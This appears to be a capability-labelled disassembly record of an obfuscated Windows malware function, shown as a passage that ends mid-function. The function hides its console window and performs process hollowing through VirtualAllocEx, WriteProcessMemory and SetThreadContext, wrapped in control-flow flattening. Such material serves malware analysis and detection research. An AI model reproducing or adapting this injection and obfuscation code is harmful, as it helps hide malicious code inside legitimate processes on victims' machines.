Function at 0x10003170
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x1006d600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x100], 0x269f19ac
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x80404871
je 0x10007320
jmp 0x100031ac
mov eax, dword [ebp - 0x104]
sub eax, 0x80ff8ad3
je 0x1000aeb3
jmp 0x100031c2
mov eax, dword [ebp - 0x104]
sub eax, 0x811d091f
je 0x1000bd63
jmp 0x100031d8
mov eax, dword [ebp - 0x104]
sub eax, 0x81204c93
je 0x10009592
jmp 0x100031ee
mov eax, dword [ebp - 0x104]
sub eax, 0x8267fc73
je 0x10008787
jmp 0x10003204
mov eax, dword [ebp - 0x104]
sub eax, 0x82f9c994
je 0x1000b96c
jmp 0x1000321a
mov eax, dword [ebp - 0x104]
sub eax, 0x836647c4
je 0x1000817e
jmp 0x10003230
mov eax, dword [ebp - 0x104]
sub eax, 0x8499e4e1
je 0x1000c564
jmp 0x10003246
mov eax, dword [ebp - 0x104]
sub eax, 0x854239b9
je 0x10006f3e
jmp 0x1000325c
mov eax, dword [ebp - 0x104]
sub eax, 0x85fff0c3
je 0x10007dff
jmp 0x10003272
mov eax, dword [ebp - 0x104]
sub eax, 0x86afbd11
je 0x1000a4b7
jmp 0x10003288
mov eax, dword [ebp - 0x104]
sub eax, 0x870b70a8
je 0x10008e58
jmp 0x1000329e
mov eax, dword [ebp - 0x104]
sub eax, 0x881244ae
je 0x1000bbd2
jmp 0x100032b4
mov eax, dword [ebp - 0x104]
sub eax, 0x88b77b6b
je 0x1000a71a
jmp 0x100032ca
mov eax, dword [ebp - 0x104]
sub eax, 0x8963ff2e
je 0x10009743
jmp 0x100032e0
mov eax, dword [ebp - 0x104]
sub eax, 0x8969f015
je 0x1000942a
jmp 0x100032f6
mov eax, dword [ebp - 0x104]
sub eax, 0x89dffdc8
je 0x1000bf3d
jmp 0x1000330c
mov eax, dword [ebp - 0x104]
sub eax, 0x8b500188
je 0x1000c30d
jmp 0x10003322
mov eax, dword [ebp - 0x104]
sub eax, 0x8bd6a9a1
je 0x10009eba
jmp 0x10003338
mov eax, dword [ebp - 0x104]
sub eax, 0x8bdcdb8f
je 0x10008108
jmp 0x1000334e
mov eax, dword [ebp - 0x104]
sub eax, 0x8c307aa5
je 0x10006383
jmp 0x10003364
mov eax, dword [ebp - 0x104]
sub eax, 0x8c3e8e23
je 0x100098de
jmp 0x1000337a
mov eax, dword [ebp - 0x104]
sub eax, 0x8c59d505
je 0x10006c58
jmp 0x10003390
mov eax, dword [ebp - 0x104]
sub eax, 0x8e36653b
je 0x1000a5fe
jmp 0x100033a6
mov eax, dword [ebp - 0x104]
sub eax, 0x8e83ca48
je 0x1000866d
jmp 0x100033bc
mov eax, dword [ebp - 0x104]
sub eax, 0x8ec0ccc6
je 0x100070a2
jmp 0x100033d2
mov eax, dword [ebp - 0x104]
sub eax, 0x8f1e7801
je 0x10006265
jmp 0x100033e8
mov eax, dword [ebp - 0x104]
sub eax, 0x8fc099e5
je 0x10005db7
jmp 0x100033fe
mov eax, dword [ebp - 0x104]
sub eax, 0x8ff033fe
je 0x100089ad
jmp 0x10003414
mov eax, dword [ebp - 0x104]
sub eax, 0x8ffc03a2
je 0x10009583
jmp 0x1000342a
mov eax, dword [ebp - 0x104]
sub eax, 0x90e70662
je 0x10005c67
jmp 0x10003440
mov eax, dword [ebp - 0x104]
sub eax, 0x911b9382
je 0x1000c1dd
jmp 0x10003456
mov eax, dword [ebp - 0x104]
sub eax, 0x913ca64e
je 0x10007055
jmp 0x1000346c
mov eax, dword [ebp - 0x104]
sub eax, 0x918e2f8f
je 0x1000c263
jmp 0x10003482
mov eax, dword [ebp - 0x104]
sub eax, 0x92312940
je 0x1000b8be
jmp 0x10003498
mov eax, dword [ebp - 0x104]
sub eax, 0x928c2678
je 0x10006991
jmp 0x100034ae
mov eax, dword [ebp - 0x104]
sub eax, 0x9316fd4a
je 0x10007b3b
jmp 0x100034c4
mov eax, dword [ebp - 0x104]
sub eax, 0x9350528c
je 0x1000ad9e
jmp 0x100034da
mov eax, dword [ebp - 0x104]
sub eax, 0x94f144b9
je 0x1000a9ad
jmp 0x100034f0
mov eax, dword [ebp - 0x104]
sub eax, 0x968a2a9c
je 0x1000c33a
jmp 0x10003506
mov eax, dword [ebp - 0x104]
sub eax, 0x97339cfc
je 0x1000c072
jmp 0x1000351c
mov eax, dword [ebp - 0x104]
sub eax, 0x97e22d5c
je 0x1000b066
jmp 0x10003532
mov eax, dword [ebp - 0x104]
sub eax, 0x99044280
je 0x1000c063
jmp 0x10003548
mov eax, dword [ebp - 0x104]
sub eax, 0x9ade071e
je 0x10006b57
jmp 0x1000355e
mov eax, dword [ebp - 0x104]
sub eax, 0x9b0130db
je 0x10006507
jmp 0x10003574
mov eax, dword [ebp - 0x104]
sub eax, 0x9b994475
je 0x100090e9
jmp 0x1000358a
mov eax, dword [ebp - 0x104]
sub eax, 0x9bf5b3af
je 0x1000a25c
jmp 0x100035a0
mov eax, dword [ebp - 0x104]
sub eax, 0x9c705697
je 0x10005a1b
jmp 0x100035b6
mov eax, dword [ebp - 0x104]
sub eax, 0x9c738da8
je 0x10009adc
jmp 0x100035cc
mov eax, dword [ebp - 0x104]
sub eax, 0x9cef2c61
je 0x1000825e
jmp 0x100035e2
mov eax, dword [ebp - 0x104]
sub eax, 0x9d3624f9
je 0x10007d32
jmp 0x100035f8
mov eax, dword [ebp - 0x104]
sub eax, 0x9ecf6841
je 0x1000ab4d
jmp 0x1000360e
mov eax, dword [ebp - 0x104]
sub eax, 0x9edc4ff6
je 0x1000775b
jmp 0x10003624
mov eax, dword [ebp - 0x104]
sub eax, 0x9f01c711
je 0x1000c293
jmp 0x1000363a
mov eax, dword [ebp - 0x104]
sub eax, 0x9f3a9598
je 0x10005ed1
jmp 0x10003650
mov eax, dword [ebp - 0x104]
sub eax, 0x9f6ee7d1
je 0x1000b50a
jmp 0x10003666
mov eax, dword [ebp - 0x104]
sub eax, 0xa00fd0b1
je 0x1000ba41
jmp 0x1000367c
mov eax, dword [ebp - 0x104]
sub eax, 0xa021f2bf
je 0x1000b580
jmp 0x10003692
mov eax, dword [ebp - 0x104]
sub eax, 0xa02c3cd2
je 0x100096cd
jmp 0x100036a8
mov eax, dword [ebp - 0x104]
sub eax, 0xa1079229
je 0x1000a34a
jmp 0x100036be
mov eax, dword [ebp - 0x104]
sub eax, 0xa1710ddf
je 0x10005a7b
jmp 0x100036d4
mov eax, dword [ebp - 0x104]
sub eax, 0xa1851884
je 0x1000af04
jmp 0x100036ea
mov eax, dword [ebp - 0x104]
sub eax, 0xa2101109
je 0x10009619
jmp 0x10003700
mov eax, dword [ebp - 0x104]
sub eax, 0xa269cd83
je 0x10008c24
jmp 0x10003716
mov eax, dword [ebp - 0x104]
sub eax, 0xa26de7c7
je 0x1000af4e
mov dword [ebp - 0x100], 0x6fb58df7
jmp 0x1000c57f
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001350
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001350
add esp, 4
movss xmm0, dword [0x10019258]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10019254]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10019250]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd97b4489
mov ecx, 0x7bb27991
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
movss xmm0, dword [0x100193a8]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0xc10cc364
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x81a5de6a
sub edx, 1
sub edx, 0x81a5de6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3f35e2d4
mov ecx, 0xe89026cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
movss xmm0, dword [0x1001939c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0x3cef7540
jmp 0x1000c57f
movss xmm0, dword [0x10019388]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0xd89f4e3f
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x4e7d8070
jmp 0x1000c57f
movss xmm0, dword [0x10019370]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0xcd96b9cd
jmp 0x1000c57f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019358]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xc117354f
jmp 0x1000c57f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019348]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x1de20c1
jmp 0x1000c57f
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
sub edx, 0x225daaea
sub edx, 1
add edx, 0x225daaea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ebe3754
mov ecx, 0xb5c0e904
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dl, 1
mov eax, 0xc2fbaee7
mov ecx, 0x4d55233f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xc2fbaee7
jmp 0x1000c57f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019330]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001932c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x51917607
jmp 0x1000c57f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10019208]
movss dword [eax], xmm0
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x811d091f
mov ecx, 0x20d9bcd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192f8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x860d09a
jmp 0x1000c57f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192e4]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x6f58adf4
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x12d1a83f
jmp 0x1000c57f
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
sub edx, 0x796f1552
sub edx, 1
add edx, 0x796f1552
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c6373c0
mov ecx, 0x66e093dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0xa171ffed
sub edx, 1
sub edx, 0xa171ffed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x340d7260
mov ecx, 0x836647c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xafd5e8db
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xa29dc1f0
jmp 0x1000c57f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100192a8]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x19f6ab20
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0xd4503b12
sub edx, 1
sub edx, 0xd4503b12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x727a868c
mov ecx, 0xdbd4d4fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x56ffcac3
sub edx, 1
sub edx, 0x56ffcac3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1bf52a0d
mov ecx, 0x3e47c61e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0xdb12e407
sub edx, 1
add edx, 0xdb12e407
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa541a73
mov ecx, 0xc7a8fa7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dl, 1
mov eax, 0xed1b5bfc
mov ecx, 0xd5c2e9a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191b0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100191ac]
movss dword [eax], xmm0
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0xa314f054
sub edx, 1
sub edx, 0xa314f054
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x97339cfc
mov ecx, 0x140e3255
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0x86fc5966
sub edx, 1
sub edx, 0x86fc5966
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7227c30a
mov ecx, 0xb990a698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x81204c93
jmp 0x1000c57f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019260]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xdc81bdc
jmp 0x1000c57f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001919c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019198]
movss dword [eax], xmm0
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0xacea9371
sub edx, 1
sub edx, 0xacea9371
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x213aae71
mov ecx, 0x1d6eecbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x4c3df0cc
sub edx, 1
sub edx, 0x4c3df0cc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x645bf073
mov ecx, 0x8963ff2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x645bf073
mov ecx, 0x4a8b4a18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x26e28b30
jmp 0x1000c57f
mov dword [ebp - 0x100], 0x3f23c1f9
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xf9ec4e18
jmp 0x1000c57f
mov eax, dword [ebp - 0xb8]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x69], al
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x6af091d6
sub edx, 1
add edx, 0x6af091d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9f01c711
mov ecx, 0x4b019817
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb6cf9d87
mov ecx, 0xc049fb56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xcc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x100], 0x3145be7f
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x6679224f
sub edx, 1
sub edx, 0x6679224f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8b500188
mov ecx, 0xb94e65db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0xc816a555
sub edx, 1
add edx, 0xc816a555
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x968a2a9c
mov ecx, 0x6c442381
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xf765c222
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
sub edx, 0x750813ff
sub edx, 1
add edx, 0x750813ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x67895fef
mov ecx, 0xcfdacc21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0x48]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x42], al
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
mov edx, ecx
add edx, 0x279e818e
sub edx, 1
sub edx, 0x279e818e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa49b70b4
mov ecx, 0x55440789
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
mov edx, eax
add edx, 0x701d94c0
sub edx, 1
sub edx, 0x701d94c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7db0eb
mov ecx, 0xa1851884
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov dl, byte [ebp - 0x41]
mov eax, 0x92312940
mov ecx, 0xcd64d3bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
add eax, 0xfef845e7
add eax, 8
sub eax, 0xfef845e7
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x100], 0x72d06c8a
jmp 0x1000c57f
mov dword [ebp - 0x100], 0xe20590c1
jmp 0x1000c57f
mov ecx, dword [0x1006e928]
mov eax, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4997d0ab
mov ecx, 0x4d48aab1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000c57f
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
add ecx, 0x1fd381b7
add ecx, 8
sub ecx, 0x1fd381b7
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xcc]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x100], 0x82f9c994
jmp 0x1000c57f
mov eax, dword [0x1006e928]
mov ecx, dword [0x1006e924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8499e4e1
mov ecx, 0x62511fd3
test dl, 1
cmovne eax, ecx
